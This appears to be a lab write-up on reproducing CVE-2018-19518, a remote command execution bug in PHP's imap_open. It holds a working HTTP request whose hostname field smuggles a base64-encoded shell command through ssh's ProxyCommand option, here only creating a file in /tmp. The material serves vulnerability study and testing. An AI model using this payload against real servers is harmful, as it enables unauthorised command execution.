PHP IMAP Remote Command Execution (CVE-2018-19518)¶
The PHP IMAP extension is used for email operations in PHP. Its imap_open
function calls rsh
to connect to remote shells. In Debian/Ubuntu systems, ssh
is used by default instead of rsh
(meaning when you execute the rsh
command, it actually executes ssh
).
Since the ssh
command allows setting -oProxyCommand=
to call third-party commands, attackers can inject this parameter to achieve remote command execution.
References:
- https://bugs.php.net/bug.php?id=77153
- https://github.com/Bo0oM/PHP_imap_open_exploit
- https://antichat.com/threads/463395/#post-4254681
- https://nvd.nist.gov/vuln/detail/CVE-2018-19518
Environment Setup¶
Execute the following command to start a vulnerable PHP server:
docker compose up -d
After the server starts, visit http://your-ip:8080
to access the web page. The web functionality tests whether a mail server can be successfully connected, requiring server address, username, and password.
The source code can be found in index.php
Vulnerability Reproduction¶
Send the following request to execute the command echo '1234567890'>/tmp/test0001
:
POST / HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 125
hostname=x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}&username=111&password=222
Execute docker compose exec web bash
to enter the container, and you can see that /tmp/test0001
has been successfully created: